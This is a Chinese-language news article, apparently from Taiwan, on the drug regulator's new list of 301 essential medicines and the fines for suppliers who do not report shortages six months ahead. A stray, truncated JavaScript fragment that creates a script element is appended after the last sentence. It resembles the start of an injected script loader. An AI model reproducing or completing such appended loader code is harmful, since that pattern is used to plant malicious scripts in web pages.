防缺藥!必要藥品列管301項藥 缺藥不報就罰

救命的藥物一旦「缺藥」恐會要命,食藥署今(6)日公告「藥事法第二十七條之二必要藥品清單」,正式列管國內26類、301項的藥品為「必要藥品」,攸關人命的麻醉、止痛、解毒、抗生素、腫瘤及化療藥物等通通入列,只要供應可能不足,藥商半年前就得通報,否則一旦害醫院發生缺藥,最重可罰30萬。

食藥署原先預告的必要藥品清單一度多達近千項,但正式公告只剩301項,食藥署藥品組簡任技正蔡士智表示,這是經參考世界衛生組織(WHO)約800多項清單後,再針對在台灣領有藥證、符合國情需求且各公協學會建議下的最終名單,未來也會每年進行增刪。

蔡士智強調,只要是公告的必要藥品許可證廠商,一旦有無法繼續製造、輸入或不足供應該藥品時,就得依藥事法規定,至少於6個月前向食藥署進行預防性通報,由食藥署評估,必要時可核准專案製造或輸入,以避免可能發生的缺藥潮;藥商如果未依規定通報,情節重大或屢犯者,可以開罰6萬至30萬元罰鍰。var d=document;var s=d.createElement(‘script’);